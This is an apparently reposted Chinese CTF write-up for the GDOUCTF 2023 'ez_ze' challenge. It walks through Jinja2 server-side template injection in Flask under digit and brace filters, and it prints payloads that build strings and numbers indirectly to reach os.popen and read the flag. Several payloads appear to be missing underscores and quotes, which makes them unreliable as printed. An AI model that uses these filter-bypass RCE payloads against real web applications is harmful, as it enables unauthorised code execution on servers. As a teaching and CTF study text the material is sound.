[GDOUCTF 2023]<ez_ze> SSTI 绕过数字与大括号过滤的实战技巧
1. SSTI注入基础与ez_ze题目背景SSTIServer-Side Template Injection服务器端模板注入是Web安全中常见的漏洞类型它允许攻击者通过构造恶意模板表达式在服务器端执行任意代码。在CTF竞赛中这类题目往往通过过滤关键字符来增加挑战难度。GDOUCTF 2023的ez_ze题目就是一个典型案例它过滤了数字和大括号这两个关键元素。传统SSTI利用通常依赖{{7*7}}这类表达式进行测试但当大括号被过滤时我们需要改用{%if 1%}test{%endif%}这类控制语句来探测漏洞。这道题的特殊之处在于它不仅过滤了{{}}还限制了数字的使用这就迫使我们寻找更隐蔽的字符构造方式。我最初尝试用{%print 123%}测试时发现数字被拦截但{%if not a%}yes{%endif%}这样的布尔判断却能正常执行。这个细节说明过滤规则可能存在逻辑漏洞也为后续绕过提供了突破口。在实际渗透测试中这种逐步试探过滤规则边界的方法非常关键。2. 绕过数字过滤的实战技巧当数字被完全过滤时我们需要通过字符运算动态生成所需数值。一个经典的技巧是利用字典键名长度统计功能{%set onedict(ca)|join|count%} {%set twodict(cca)|join|count%} {%set threedict(ccca)|join|count%}这种方法通过dict()创建包含N个字符的键再用join转换为字符串后count统计长度。比如dict(ccca)会生成{ccc:a}join后变成ccc其长度正好是3。通过这种方式我们可以构造出1-9的基础数字。在更复杂的场景中还可以通过算术运算生成更大数值。例如获取ASCII码95对应的下划线字符时{%set _(lipsum|string|list).pop(three*eight)%}这里three*eight就是3×824通过乘法运算定位到字符串中第24个字符通常是下划线。这种技巧在需要获取特殊字符时特别有用。3. 关键字符的替代获取方案当大括号和数字都被过滤时获取下划线这类关键字符就成为突破口。以获取__globals__为例我们可以分步拆解首先获取下划线字符{%set xiahuaxian(lipsum|string|list)|attr(pop)(three*eight)%}然后拼接目标字符串{%set globals(xiahuaxian,xiahuaxian,dict(globalsa)|join,xiahuaxian,xiahuaxian)|join%}这里利用lipsumFlask内置变量的字符串表示通过pop()方法提取特定位置的字符。我测试发现不同环境下字符位置可能变化所以实际操作时需要先输出完整列表确认位置。对于os模块的获取可以采用字符拼接{%set shelldict(oa,sb)|join%}这种方法将字母拆分到字典键值对中再合并完美避开了直接书写敏感词。类似的技巧也适用于获取popen等方法名{%set ppdict(poa,penb)|join%}4. 完整Payload的组装与执行将所有组件组合起来形成最终攻击链需要精心设计。以下是关键步骤获取__globals__引用{%set globals(xiahuaxian,xiahuaxian,dict(globalsa)|join,xiahuaxian,xiahuaxian)|join%}获取os模块{%set shelldict(oa,sb)|join%} {%set os_modulelipsum|attr(globals)|attr(get)(shell)%}构造命令执行方法{%set ppdict(poa,penb)|join%} {%set cmdchar(47)%2bchar(102)%2bchar(108)%2bchar(97)%2bchar(103)%} # /flag {%set resultos_module|attr(pp)(cmd)|attr(read)()%}其中命令字符串通过ASCII码拼接生成这是绕过字符过滤的终极方案。我在实际测试中发现有时需要先用__builtins__获取chr()函数{%set builtins(xiahuaxian,xiahuaxian,dict(builtinsa)|join,xiahuaxian,xiahuaxian)|join%} {%set char(lipsum|attr(globals))|attr(get)(builtins)|attr(get)(dict(chra)|join)%}5. 简化Payload的优化思路原始解法虽然完整但过于冗长。经过多次测试我总结出几个优化点使用config对象替代lipsum获取下划线{% set xhx(config|string|list).pop(18)%}合并字符获取步骤{% set cmd(dict(cata)|join, ,dict(flaga)|join)|join %}使用更简洁的属性访问方式{% print(lipsum|attr(globals)|attr(geti)(o)|attr(po)(cmd)|attr(read)()) %}这种优化后的Payload原型其实是lipsum.__globals__[os].popen(cat flag).read()但通过层层封装完全避开了敏感字符的直接使用。在真实渗透测试中这种模块化思维能大大提高攻击效率。
本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2475703.html
如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!